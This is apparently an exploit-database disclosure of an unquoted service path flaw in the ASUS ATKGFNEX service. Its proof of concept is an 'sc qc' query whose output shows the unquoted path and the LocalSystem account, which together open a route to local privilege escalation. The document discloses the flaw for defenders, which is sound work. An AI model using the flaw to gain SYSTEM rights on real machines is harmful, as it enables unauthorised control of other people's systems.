ATKGFNEXSrv ATKGFNEX 1.0.11.1 – Unquoted Service Path Privilege Escalation
# Exploit Title: ATKGFNEXSrv ATKGFNEX- Privilege Escalation Unquoted Service Path vulnerability # Date: 13/10/2016 # Exploit Author : Cyril Vallicari # Vendor Homepage: www.asus.com # Version: 1.0.11.1 # Tested on: Windows 7 x64 SP1 (but it should works on all windows version) The application suffers from an unquoted service path issue impacting the service 'ATKGFNEXSrv (GFNEXSrv.exe)' deployed as part of ATKGFNEX This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges. POC : C:\Users\Utilisateur>sc qc "ATKGFNEXSrv" [SC] QueryServiceConfig réussite(s) SERVICE_NAME: ATKGFNEXSrv TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\GFNEXSrv.exe LOAD_ORDER_GROUP : ShellSvcGroup TAG : 0 DISPLAY_NAME : ATKGFNEX Service DEPENDENCIES : ASMMAP64 SERVICE_START_NAME : LocalSystem Additional notes : https://hackerone.com/blog/asus-vulnerability-disclosure-deja-vu |